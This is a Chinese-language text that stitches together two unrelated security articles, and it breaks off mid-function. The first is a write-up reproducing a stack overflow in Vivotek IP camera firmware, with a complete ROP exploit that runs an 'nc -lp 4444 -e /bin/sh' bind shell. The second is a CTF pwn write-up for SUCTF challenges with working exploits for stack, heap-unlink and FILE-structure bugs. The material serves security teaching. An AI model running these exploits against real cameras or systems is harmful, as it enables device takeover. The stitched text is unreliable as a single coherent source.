IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2
漏洞的poc公布于[exploit-db](https://www.exploit-db.com/exploits/44001)以及[seclist](https://seclists.org/fulldisclosure/2017/Nov/31)
该漏洞成因是`httpd`对用户数据处理不当，导致栈溢出，接下来具体进行分析。
## 漏洞复现
首先是固件的获取，官网的下载地址为<https://www.vivotek.com/firmware/>，但是下下来的固件是最新版本的固件，下不到历史版本固件，然后通过这篇[文章](https://xz.aliyun.com/t/5054)，说到了拿固件的历史方法，同时师傅把它的固件传到了poc的issue里面，我跟过去那个poc，但是看不到issue，神奇的是issue不见了，图片里面的链接还是有效的，所以我就手输了链接下到了存在漏洞的固件。
首先是提取文件系统，binwalk直接解压就可以拿到了。使用`find`找到httpd，然后使用`file`查看文件类型。
$ find ./ -name "httpd"
./squashfs-root/usr/sbin/httpd
./squashfs-root/etc/init.d/httpd
$ file httpd
httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
一个arm 32位小端文件系统，使用qemu模拟arm系统，`launsh.sh`启动qemu虚拟机，`launsh.sh`对应的命令为：
$ cat ~/work/iot/qemu-vm/armhf/launch.sh
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap -nographic
qemu虚拟机起来以后，使用http服务把文件系统传到qemu虚拟机里面。然后使用以下命令切换到文件系统中：
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell
然后运行`httpd`，首先会报`Could not open boa.conf for
reading`的错误，将httpd拖到IDA里面，找到该字符的交叉引用，发现程序尝试打开`/etc/conf.d/boa/boa.conf`配置文件，在固件的相应目录中，看到其`/etc/conf.d`是指向`../mnt/flash/etc/auto.conf`的链接，发现该目录没有那个文件夹。
在文件系统里面搜索该配置文件，在`./_31.extracted/defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/conf.d/boa/boa.conf`，把该`/etc`目录拷到`../mnt/flash/`目录下面，即可修复该问题。
然后继续运行`httpd`会发现另一个问题，即`gethostbyname:: Success`，继续在IDA里面看交叉引用，相应代码如下：
if ( gethostname((char *)&rlimits, 0x64u) == -1 )
{
perror("gethostname:");
exit(1);
}
host_struct = gethostbyname((const char *)&rlimits);
if ( !host_struct )
{
perror("gethostbyname:");
exit(1);
}
可以看到是`gethostbyname`，应该是qemu虚拟机和固件的系统的`host name`不一样，导致无法获取。Linux 操作系统的
hostname 是一个 kernel 变量，可以通过 hostname 命令来查看本机的
hostname。将二者的`/etc/hosts`改成一样就可以了。
能过运行起来以后，httpd -h，可以看到httpd运行的参数。可以使用`httpd -l 32768`参数显示最多的调试信息。
运行起来以后，使用poc验证漏洞：
$ echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn" | nc -v 172.16.217.149 80
看到崩溃的产生：
/ # req->iCount++= 1
[05/Jul/2019:00:18:20 +0000] caught SIGSEGV, dumping core in /tmp
验证成功。
## 漏洞分析
对漏洞进行分析，将httpd拖进去，根据poc，应该是`Content-Length`处理有问题，查看交叉引用，找到漏洞点：
ret_value = read(ctx->client_fd, &rev_buff[reved_count], 0x2000 - reved_count);
if ( !strncmp(rev_buff, "POST", 4u) || !strncmp(rev_buff, "PUT", 3u) )
{
v22 = (unsigned __int8)ctx->rev_buff[0];
*(_DWORD *)len_buff = 0;
v41 = 0;
v42 = 0;
v43 = 0;
if ( v22 )
{
content_length_ptr = strstr(rev_buff, "Content-Length");
content_length_end_ptr = strchr(content_length_ptr, 'n');
colon_ptr = strchr(content_length_ptr, ':');
strncpy(len_buff, colon_ptr + 1, content_length_end_ptr - (colon_ptr + 1)); //漏洞点
}
head_end_ptr = strstr(rev_buff, "rnrn");
程序首先找到`POST`或者`PUT`。然后找到`Content-Length`，最后通过`strstr`找到`:`以及`n`，将二者字符之间的数据使用`strncpy`拷贝到`len_buff`这个栈空间里面。即将poc里面的`Content-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXXnrnrn`的`AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX`拷贝到目标字符串。
我觉得它本意应该是要把长度字符拷出来，但是没有想到用户可控该数据，导致栈溢出。
漏洞成因确定。
## 漏洞利用
对于栈溢出的利用，首先是确定覆盖pc的偏移，从IDA里面看，接收数据的空间是`SP+0x50-0x38`即`sp+0x18`。同时函数一开始的函数序言`STMFD
SP!, {R4-R11,LR}`以及`SUB SP, SP, #0x2C`，查`STMFD`指令的意思，得到它的伪代码意思是：
STMFD SP！，{R4-R11，LR} 的伪代码如下：
SP ＝ SP － 9×4；
address = SP;
for i = 4 to 11
Memory[address] = Ri;
address = address + 4;
Memory[address] = LR;
因此要覆盖到LR指令需要的偏移是：
0x2c-0x18+8*4=0x34
这也是POC中`XXXX`最终覆盖到pc的偏移。
解决了覆盖pc的偏移的事，接下来就是如何执行命令，`checksec`看下程序开了哪些保护：
[*] '/home/raycp/work/iot/vivotek/httpd'
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
可以看到开了nx，所以没办法直接注入shellcode，如何不把aslr关掉的话可能还需要泄露地址，可能就无法利用了，为了顺利利用起来，强行降低难度，把aslr给惯的：
echo 0 > /proc/sys/kernel/randomize_va_space
下一步就是rop链的构造，根据arm的函数调用约定，参数为`r0-r4`，目标是执行system(“nc -lp 4444 -e
/bin/sh;)，因此需要将参数布置到`r0`寄存器。
因为使用的`strncpy`拷贝字符串，所以不能有`x00`，因此gadget最好从libc里面找，同时地址也不能有`x00`，最后找到两条gadget（最适合的gadget`0x00033100
: pop {r0, pc}`，因为地址有`00`，所以不行）：
g1=0x00048784 #: pop {r1, pc}
g2=0x00016aa4 #: mov r0, r1 ; pop {r4, r5, pc}
上面两条gadget，先将参数赋值给`r1`，再将`r1`给`r0`，最终调用`system`。
为了更好的查看程序的执行流程以及利用过程，最好还是能够调试程序。做法是将gdbserver上传到qemu虚拟机里，再attach到`httpd`进程中，实现调试。可在此[gdb-static-cross](https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt)下到编译好的静态的gdbserver，最后对于此程序使用以下命令启动调试：
./gdbserver-7.7.1-armhf-eabi5-v1-sysv :1234 --attach 3564
然后再外面的命令行里面用`gdb-multiarch`连上gdbserver实现调试：
gdb-multiarch ./httpd
target remote 172.16.217.149:1234
最终完整的exp如下：
from pwn import *
g1=0x00048784 #: pop {r1, pc}
g2=0x00016aa4 #: mov r0, r1 ; pop {r4, r5, pc}
p = remote("172.16.217.149",80)
libc_base=0x76f2d000
command_addr= 0x7effeb64
system_addr=0x76f74ab0
g1=libc_base+g1
g2=libc_base+g2
prefix="POST /cgi-bin/admin/upgrade.cgi HTTP/1.0nContent-Length:"
command="nc -lp 4444 -e /bin/sh;"
payload='a'.ljust(52,'a')
payload=payload+p32(g1)+p32(command_addr)+p32(g2)+'a'*8+p32(system_addr)
payload=prefix+payload+command+"nrnrn"
p.sendline(payload)
## 漏洞修复
时间已经过去了两年，新版本的固件已经将该漏洞修复。为了查看该漏洞是如何修复的，使用bindiff将存在漏洞的`httpd`与已修复的`httpd`进行对比。
结果如下图所示：
从左半图与右半图的对比来说，可以知道它将`strncpy`那段代码直接删除了，从而实现漏洞的修复。
## 小结
由于没有真机，不知道实际环境中系统是否开启了aslr，所以此次关闭aslr实现栈溢出利用的操作只是一个概念性的验证。
通过此漏洞大致了解了远程栈溢出漏洞的利用以及arm的栈溢出的利用。和pwn题的区别在于：真实的洞没有把输出重定向到socket，想要泄露什么的来二次利用还是存在一定困难的。
相关文件以及脚本在[github](https://github.com/ray-cp/Vuln_Analysis/tree/master/Vivotek-ip-camera-remote-stackoverflow)
## 参考链接
1. [Vivotek IP Cameras – Remote Stack Overflow (PoC)](https://www.exploit-db.com/exploits/44001)
2. [Vivotek远程栈溢出漏洞分析与复现](https://xz.aliyun.com/t/5054)
3. [Vivotek IP Cameras – Remote Stack Overflow](https://seclists.org/fulldisclosure/2017/Nov/31)
4. [Vivotek 摄像头远程栈溢出漏洞分析及利用](https://paper.seebug.org/480/)
5. [gdb-static-cross](https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt) | 社区文章 |
此次的SUCTF招新赛的PWN题一共有七题，难度算是逐步上升吧，写个稍微详细一点的WP，希望能给刚刚入门的萌新PWNer一点帮助
题目的名字被我统一改成了supwn1-7，对应这下面的七题，我也放到百度云上了：
链接：<https://pan.baidu.com/s/1rnsyHCQzziS53AZZ-NTHzA>
提取码：1ha2
# stack
这是一道基础的栈溢出的题目，通过[checksec](http://yunnigu.dropsec.xyz/2016/10/08/checksec%E5%8F%8A%E5%85%B6%E5%8C%85%E5%90%AB%E7%9A%84%E4%BF%9D%E6%8A%A4%E6%9C%BA%E5%88%B6/)可以看到该程序什么保护机制都没开，它是一个64位的小端序的elf程序，当然也可以通过file命令来查看程序的基本信息
$ file supwn1
supwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID [sha1] = b2842040168e718fe077a170b5ad273fbb0d28d6, not stripped
通过将程序拖入IDA中，可以看到它的反编译后的程序逻辑：
可以看到，该程序首先输出了一个字符串样式“suctf”，接着调用了read函数，向buf中读入0x30个字节
而在IDA中可以看到，buf的空间大小只有0x20个字节，这里明显造成的栈溢出，可以通过覆盖一个八字节ebp+一个八字节的跳转地址，实现控制程序的流程
另外有的时候，buf的栈空间大小并不能单纯的从上面的【rbp-20h】看出，它还可能是rsp寻址，得看【rsp+0h】，在这种情况下，可以使用gdb调试的一种插件---[GEF的pattern功能](https://gef.readthedocs.io/en/latest/commands/pattern/)来测出偏移的大小
就以这题为例子，我们打开gdb-gef：
首先创建一大串远远超过栈空间的字符串，然后输入进程序中：
不出意外的，可以看到程序崩溃了，然后我们用 `pattern find $rbp`命令去查找到rbp的偏移
可以发现，找到了偏移32，也就是0x20，是buf到rbp的距离
[GEF](https://gef.readthedocs.io)还有很多很实用的功能，具体可以去探索一下，另外还有类似的gdb插件：[pwndbg](https://github.com/pwndbg/pwndbg)
接着，我们找到了偏移，就需要写一个exp脚本进行利用漏洞从而拿到flag
这里可以看到，IDA中有个next_door函数，它直接调用了一个system(/bin/sh)函数，如果之前的栈溢出控制跳转能够跳转到这里，那么就能实现getshell，从而拿到flag
我写exp脚本一般是python+[pwntools](https://docs.pwntools.com/en/stable/)
这里直接放脚本吧，结合着注释应该可以理解
#encoding:utf-8
#!/upr/bin/env python
from pwn import *#引入pwntools模块
context.log_level = "debug"#设置调试模式，可以看到输入和输出的具体信息
p=process("./supwn1")#打开该elf文件，这里我统一把原来题目的名字改了
#如果是连接远程端则用：p.remote("ip",端口)
binsh =0x400676#这是next_door函数的地址
payload = "a"*0x20+"b"*0x08+p64(binsh)#构造好覆盖ebp和返回地址的字符串,p64()这个函数是pwntools提供的，具体可以看官方文档查它是什么功能
p.send(payload)#发送该字符串
p.interactive()#进行交互,获得shell
如果对栈溢出的了解还不是很多的话可以参考以下链接进行学习：
[手把手教你栈溢出从入门到放弃](https://zhuanlan.zhihu.com/p/25816426)
[CTF-WIKI](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/stack_intro/)
# basic-pwn
这一题整体上和上一题基本上没有区别吧，都是一个栈溢出，跳转到一个函数，就可以读出flag了
保护机制：只开了一个NX保护，问题不大
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
不同的是，这题用了scanf的方法，没有指定读多少个，读到\n即停止，
后门函数也不一样了
溢出的原理是一样的，就不过多的重复了，可以参照第一题拿来练习练习
这里直接贴exp：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *#引入pwntools模块
context.log_level = "debug"#设置调试模式，可以看到输入和输出的具体信息
p=process("./supwn2")#打开该elf文件，这里我统一把原来题目的名字改了
#如果是连接远程端则用：p.remote("ip",端口)
catflag = 0x401157
payload = "a"*0x110+"b"*0x08+p64(catflag)#构造好覆盖ebp和返回地址的字符串
p.send(payload)#发送该字符串
p.interactive()#进行交互,获得shell
# babyarray
这题主要是利用了一个数组下标越界的漏洞
先检查一遍他的保护机制：还是和上一题一样
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
接着拖入IDA分析程序的逻辑
程序首先让你输入一个十进制整数v4，然后再让你往【4*v4 +0x6010a0】的地方输入一个十进制整数
这里可以看到v4的栈空间大小只有4个字节，而输入的又是一个十进制数，那么就没办法造成一个栈溢出控制程序的流程
继续看程序逻辑
输入完后，进行一个if判断，如果变量a为0的话，那么就会直接打印出flag，我们甚至不需要去控制程序的执行流程，双击一下a可以直接看到它所在的地址：是0x601068
只要让这个地方的值为0，那么我们就能得到flag了
从上面的输入逻辑可以发现，我们能控制【4 _v4 +0x6010a0】的值，只要让 `4_ v4
+0x6010a0=0x601068`我们就能使得a为0，也就是得让v4为-14，就可以了
于是这题只需要，先输入-14，然后再输入0，就可以得到flag了
# easy_overflow_file_structure
这题总的漏洞利用难度不是很大，但是发现溢出这个过程比较难，难点在于发现一个关键函数的漏洞，这比较考验个人的逆向能力
保护机制：
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序一开始是这样的：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-1F40h]
init();
fd = fopen("./readme.txt", "r");
fgets(&s, 0x1F40, stdin);
su_server(&s);
fclose(fd);
return 0;
}
让你输入一大串东西，然后进入su_server函数
char *__fastcall su_server(const char *a1)
{
unsigned int v1; // eax
char v3; // [rsp+1Fh] [rbp-1h]
v1 = time(0LL);
srand(v1);
v3 = rand() % 0x80;
memset(&host, 0, 0x7FuLL);
memset(&username, 0, 0x7FuLL);
memset(&researchfield, 0, 0x7FuLL);
rand_num1 = v3;
rand_num2 = v3;
rand_num3 = v3;
if ( strncmp("GET / HTTP/1.1#", a1, 8uLL) )
__assert_fail("!strncmp(getMethod,http_header,sizeof(getMethod))", "main.c", 0x59u, "su_server");
lookForHeader("Host", a1, 0x1F40, &host, 0x7Fu);
lookForHeader("Username", a1, 0x1F40, &username, 0x7Fu);
lookForHeader("ResearchField", a1, 0x1F40, &researchfield, 0x7Fu);
if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
{
if ( fd->_flags == 0xDEADBEEF )
{//如果能覆盖掉 fd->_flags为0xDEADBEEF的话，就能getshell拿flag了
puts("66666");
secret();
}
fclose(fd);
fflush(stderr);
abort();
}
return response(&host, &username, &researchfield);
}
int secret()
{
puts("W0W~ I will be very glad if you join in Asuri~");
puts("This is a easy version of my fsop challenge.");
puts("If you want to know more about it,search for the classic technique \"fsop\".");
return system("/bin/sh");
}
这个函数的逻辑就是把输入的那一大段的字符串，当做一个http的请求，然后根据关键词`Host：xxxx#` `Username：xxxx#`
`ResearchField：xxxxx#`来区分三段字符串，分别把xxx内容放入bss段中对应的位置，xxx字符串长度不能超过127
处理这些操作的函数是lookForHeader：
//lookForHeader(str, input, 0x1F40, &target, 0x7Fu)
str_len = strlen(str);
for ( i = 0; ; ++i )
{
result_len = 8000 - str_len;
if ( result_len <= i )
break;
if ( !strncmp((input + i), str, str_len) && *(i + str_len + input) == ':' )
{
for ( i += str_len + 1; i < 8000 && (*(i + input) == ' ' || *(i + input) == '\t'); ++i )
;
for ( j = i; j < 8000; ++j )
{
if ( *(j + input) == '#' )
{
if ( j - i + 1 <= 127 )
{
n_4 = i + input;
while ( n_4 < j + input )
{
v5 = target++;
v6 = n_4++;
*v5 = *v6;
}
*target = 0;
}
break;
}
}
}
}
这里是最骚的了，当时看了好久以为这个函数没有太大问题，但实际上有问题
问题在函数开头这里：`for ( i = 0; ; ++i )`
这里会导致，如果输入的input中，有个多个`Host：xxxx#`的输入，那么for循环就还会继续，而也就会导致溢出，能往target的位置输入超过127个字符
只要利用了这一点，漏洞就很容易触发了
可以发现ResearchField在bss段的位置中，末尾很接近fd，而只要把fd指向的内容为0xDEADBEEF就可以getshell
.bss:000000000060217C db ? ;
.bss:000000000060217D db ? ;
.bss:000000000060217E db ? ;
.bss:000000000060217F rand_num3 db ?
.bss:000000000060217F
.bss:0000000000602180 public fd
.bss:0000000000602180 ; FILE *fd
.bss:0000000000602180 fd dq ?
.bss:0000000000602180
.bss:0000000000602188 align 20h
.bss:00000000006021A0 public username
.bss:00000000006021A0 username db ? ;
.bss:00000000006021A0
.bss:00000000006021A1 db ? ;
.bss:00000000006021A2 db ? ;
------------------------------------------------------------ if ( rand_num1 != v3 || rand_num2 != v3 || rand_num3 != v3 )
{
if ( fd->_flags == 0xDEADBEEF )
{
puts("66666");
secret();
}
fclose(fd);
fflush(stderr);
abort();
}
exp如下：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn4"
context.binary=bin_elf
#libc = ELF("./libc-2.23.so")
elf = ELF(bin_elf)
libc = elf.libc
if sys.argv[1] == "r":#在命令窗口中输入 python supwn4.py r 表示接入远程端的程序
p = remote("4xxxxx3",10002)
elif sys.argv[1] == "l":#在命令窗口中输入python supwn4.py l 表示本地进行调试
p = process(bin_elf)
#------------------------------------- #定义这些函数是我个人比较偷懒的写法，因为懒得输入各种p.xxxx()
def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#------------------------------------- #gdb.attach(p)
pause()
payload = "GET / HTTP/1.1#"
payload +="Host:"+"a"*0x7e+"#"
payload +="Username:"+p64(0xDEADBEEF)+"#"
payload +="ResearchField:"+"c"*0x7e+"#"
payload +="ResearchField:"+"aa"+p64(0x6021A0)+"#"
sl(payload)
getshell()
# unlink
这题是经典的堆漏洞中的unlink
保护机制：开了nx和[canary](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/mitigation/Canary/)
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA查看一波：
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
init();
puts("welcome to note system");
while ( 1 )
{
menu();
puts("please chooice :");
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
touch();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
take_note();
break;
case 5:
exit_0();
return;
default:
puts("no such option");
break;
}
}
}
经典堆漏洞题目的菜单功能
主要有四个功能
touch()函数，在现有chunk不满10个前提下，创建一个chunk，大小不限，得到的chunk指针存入bss段中的buf
unsigned __int64 touch()
{
int v1; // [rsp+0h] [rbp-10h]
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
for ( i = 0; i <= 10 && buf[i]; ++i )
{
if ( i == 10 )
{
puts("the node is full");
return __readfsqword(0x28u) ^ v3;
}
}
puts("please input the size : ");
if ( v1 >= 0 && v1 <= 512 )
{//v1初始为0
__isoc99_scanf("%d", &v1);
buf[i] = malloc(v1);
if ( buf[i] )
puts("touch successfully");
}
return __readfsqword(0x28u) ^ v3;
}
take_note()函数，输入chunk的编号，对创建好的chunk
进行内容输入，输入长度为0x100个字节，如果创建的chunk大小只有0x50，这里就会导致堆溢出漏洞
unsigned __int64 take_note()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("which one do you want modify :");
__isoc99_scanf("%d", &v1);
if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
puts("please input the content");
read(0, buf[v1], 0x100uLL);
}
return __readfsqword(0x28u) ^ v2;
}
delete()函数，free掉chunk后，buf中的指针也被清空了，这样uaf就不能用了
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("which node do you want to delete");
__isoc99_scanf("%d", &v1);
if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
free(buf[v1]);
buf[v1] = 0LL;
}
return __readfsqword(0x28u) ^ v2;
}
show()函数,如果对应的buf中的指针不为空，则打印出该chunk的内容
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("which node do you want to show");
__isoc99_scanf("%d", &v1);
if ( buf[v1] != 0LL && v1 >= 0 && v1 <= 9 )
{
puts("the content is : ");
puts(buf[v1]);
}
return __readfsqword(0x28u) ^ v2;
}
通过以上的分析，我们可以发现，uaf不好用，唯一有明显漏洞点的地方在于take_note函数，就是可利用的是堆溢出，而堆溢出有什么用呢，在堆的布局中堆与堆之间都是相邻的，如果存在溢出，则可以修改到下一个chunk的pre_size
和size字段的内容
这里就可以用到unlink的操作了
首先需要知道什么是[unlink](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink/)
简单来说，unlink是堆管理机制中的一种操作，为了让相邻的空闲chunk合并，避免heap中有太多零零碎碎的内存块，合并之后可以用来应对更大的内存块请求而采取的一种方法，需要注意的是只有不是
fastbin 的情况下才会触发unlink，因为fastbin的size的p位默认为1。
合并的主要顺序为
先考虑物理低地址空闲块
后考虑物理高地址空闲块
合并后的 chunk 指向合并的 chunk 的低地址
源代码如下
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
我们关注的点在于最后造成的结果会是 ：
FD->bk = BK;
BK->fd = FD;
如果巧妙的构造fd，bk则会导致一个任意地址写的漏洞
同时这个unlink有一个检查机制需要绕过：
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
即检查：chunk1前一个chunk的bk是不是chunk1，chunk1后一个chunk的fd是不是chunk1
如果我们通过touch函数构造chunk0和chunk1，大小都是0x80，接着再通过take_note函数对chunk0进行内容添加，由于输入的字节有0x100那么多，就可以通过溢出，任意修改chunk1的size，使得size字段的p标志位为0，让chunk0被误认为是已经free掉的chunk，这是实现unlink的一个前提条件，即要能修改size字段
接下来讲讲这题的思路，分为三大步骤：
1. 泄漏出libc，从而得到system的真正地址
2. 进行unlink，使得某个chunk的指针指向free函数的got表，并通过修改chunk内容从而修改free的got表为system的真实地址
3. free掉一个内容为“/bin/sh\x00”的chunk，也就相对应执行了system(/bin/sh)
步骤一：
申请chunk0，chunk1，大小都为0x80
free chunk0
再重新申请一个chunk2，此时chunk2得到的地址和chunk0实际上是一样的，那么内容也会是一样的
由于chunk0被free的时候根据大小被放入了unsorted bins中，这时它的fd和bk都会指向unsorted bins
如果此时通过show函数打印出chunk2的内容，则实际上会打印出chunk0的fd和bk，也就泄漏出unsorted bins
当一个small chunk被free的时候，首先是被安排到unsorted bins中，
这时它的fd和bk都是指向表头的，因此泄露的地址是<main_arena+88>的地址,
而<main_arena>-0x10为<__malloc_hook>函数的真实地址，因此可以用这个函数来泄露libc的基地址</main_arena>
步骤二：
申请chunk0，chunk1，chunk2 ,大小都为0x80,内容均随意填充
构造 paylode：
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)+"a"*0x60
payload += p64(0x80)+p64(0x90)
目的是伪造一个chunk，使得他的大小为0x80，fd为0x6020c0-3*8，bk=fd+8 （0x602c0c是buf的地址）
通过输入paylode到chunk0中再溢出修改chunk1的pre_size
和size为0x80和0x90，让它误以为chunk1前面就有一个大小为0x80且处于free的状态
接着free掉chunk1
此时就进行了unlink的操作
FD->bk = BK ---> buf = buf -2*8
BK->fd = FD ---> buf = buf -3*8
造成的结果是buf[0]的地方存储着【buf-3*8】这个地址
回顾上面的take_note函数可以发现，是通过buf这个数组来向chunk中写入内容的
如果此时buf[0]的内容变成了【buf-3*8】而不是chunk0的指针
那么在向chunk0写入内容的时候就会变成向【buf-3*8】写入内容
这时就可以改变buf的内容了！将buf[n]的内容都可以被我们改变
如果将chunk1在buf中的指针改成free的got表，那么就可以改写free的gotb 表了
步骤三：
这时再向chunk2中写入“/bin/\sh”
再将chunk2 free掉
就相当于执行了：system(/bin/sh)
exp如下：
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
context.log_level = "debug"
bin_elf = "./supwn5"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc64.so")
#libc = elf.libc
if sys.argv[1] == "r":
p = remote("43.254.3.203",10005)
elif sys.argv[1] == "l":
p = process(bin_elf)
#------------------------------------- def sl(s):
return p.sendline(s)
def sd(s):
return p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
return p.sendlineafter(a,s)
def sda(p,a,s):
return p.sendafter(a,s)
def debug(addr=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def touch(size):
sla(p,"please chooice :\n","1")
sla(p,"please input the size : \n",str(size))
def delete(index):
sla(p,"please chooice :\n","2")
sla(p,"which node do you want to delete\n",str(index))
def show(index):
sla(p,"please chooice :\n","3")
sla(p,"which node do you want to show\n",str(index))
def take(index,content):
sla(p,"please chooice :\n","4")
sla(p,"which one do you want modify :\n",str(index))
sda(p,"please input the content\n",content)
touch(0x80)#0
touch(0x80)#1，chunk1的作用是防止chunk0在free的时候跟top chunk合并
delete(0)
touch(0x80)#2 = 0
take(0,"\xff"*8)
show(0)
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
malloc_hook = leak-0x58-0x10
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
one = libc_base+0x4526a
free = libc_base+libc.symbols["__free_hook"]
system = libc_base+libc.symbols["system"]
print "malloc_hook--->",hex(malloc_hook)
print "libc_base--->",hex(libc_base)
delete(1)
delete(0)
bss = 0x6020c0
fd = bss-3*8
bk = fd+8
#debug()
touch(0x80)#0
take(0,"a"*0x80)
touch(0x80)#1
take(1,"b"*0x80)
touch(0x80)#2
take(2,"c"*0x80)
payload = p64(0)+p64(0x81)+p64(fd)+p64(bk)+"a"*0x60
payload += p64(0x80)+p64(0x90)
take(0,payload)
delete(1)
take(0,p64(0)*3+p64(free))
take(0,p64(one))
take(2,"/bin/sh\x00")
delete(2)
getshell()
有关堆的一些入门的学习链接：
[CTF pwn 中最通俗易懂的堆入坑指南](https://www.anquanke.com/post/id/163971#h3-5)
[how2heap](https://www.anquanke.com/post/id/86808)
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/introduction/)
[Linux堆内存管理深入分析](https://introspelliam.github.io/2017/09/10/Linux%E5%A0%86%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90%EF%BC%88%E4%B8%8A%EF%BC%89/)
[Dance In Heap](https://www.freebuf.com/articles/system/151372.html)
# EZ_heap
这题其实见过几次了，hitcon-training的lab12，网鼎杯半决赛线下赛的pwn3，程序逻辑都是一毛一样的，只是题目描述在变而已，也算经典题了吧
主要利用了double free的漏洞
来看一下这个保护机制：还是只开了nx和canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA分析：仍然是一个堆题特色的菜单功能
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
